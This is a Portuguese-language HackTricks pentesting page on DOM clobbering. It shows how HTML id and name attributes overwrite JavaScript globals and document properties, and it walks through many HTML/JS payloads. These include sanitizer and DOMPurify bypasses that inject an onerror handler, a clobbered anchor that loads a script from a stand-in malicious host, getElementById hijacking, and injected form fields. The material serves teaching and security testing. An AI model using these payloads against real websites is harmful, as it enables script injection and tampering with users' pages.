hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

217 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Basics**
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Apenas** certos elementos podem usar o atributo **name** para sobrescrever variáveis globais, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
Curiosamente, quando você usa um **elemento de formulário** para **sobrescrever** uma variável, você obterá o valor de **`toString`** do próprio elemento: `[object HTMLFormElement]` mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você sobrescrever usando a tag **`a`**, você pode **controlar** o **valor** quando ele é **tratado como uma string**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Atributos
Também é possível **sobrescrever um array** e **atributos de objetos**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescrever **um terceiro atributo** (por exemplo, x.y.z), você precisa usar um **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Sobrescrever mais atributos é **mais complicado, mas ainda é possível**, usando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
A tag style é usada para **dar tempo suficiente ao iframe para ser renderizado**. Sem ela, você verá um alerta de **indefinido**.
{% endhint %}
Para sobrescrever atributos mais profundos, você pode usar **iframes com codificação html** desta forma:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
Se um filtro está **iterando** pelas **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você poderia **sobrescrever** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e mais também são **sobrescritíveis**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sobreposição de `window.someObject`**
Em JavaScript é comum encontrar:
```javascript
var someObject = window.someObject || {};
```
Manipular o HTML na página permite substituir `someObject` por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir `someObject` por um elemento de âncora apontando para um script malicioso:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Em um código vulnerável como:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Este método explora a fonte do script para executar código indesejado.
**Truque**: **`DOMPurify`** permite que você use o protocolo **`cid:`**, que **não codifica em URL as aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fará com que o `&quot;` codificado em HTML seja **decodificado em tempo de execução** e **escapará** do valor do atributo para **criar** o evento **`onerror`**.
Outra técnica usa um elemento **`form`**. Certas bibliotecas do lado do cliente inspecionam os atributos de um elemento de formulário recém-criado para limpá-los. No entanto, ao adicionar um `input` com `id=attributes` dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo o sanitizador de acessar os atributos reais.
Você pode [**encontrar um exemplo desse tipo de clobbering neste relatório de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sobrescrevendo o objeto documento
De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando o DOM Clobbering:
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedades suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores dos atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes dos valores dos atributos name quando o mesmo elemento contribui com ambos:
>
> \- O valor do atributo de conteúdo name para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo name não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo name não vazio, e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root).
Usando essa técnica, você pode sobrescrever valores comumente usados como `document.cookie`, `document.body`, `document.children` e até métodos na interface Document como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escrevendo após o elemento sobrescrito
Os resultados das chamadas para **`document.getElementById()`** e **`document.querySelector()`** podem ser alterados injetando uma tag `<html>` ou `<body>` com um atributo id idêntico. Veja como pode ser feito:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outros textos no `innerText` pode ser evitada, aumentando assim a eficácia do ataque:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Investigações sobre SVG revelaram que uma tag `<body>` também pode ser utilizada de forma eficaz:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Para que a tag HTML funcione dentro do SVG em navegadores como o Chrome e o Firefox, é necessário uma tag `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Substituindo Formulários
É possível adicionar **novas entradas dentro de um formulário** apenas especificando o atributo `form` dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um novo **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para mais atributos de formulário em [**botão, confira isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referências
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>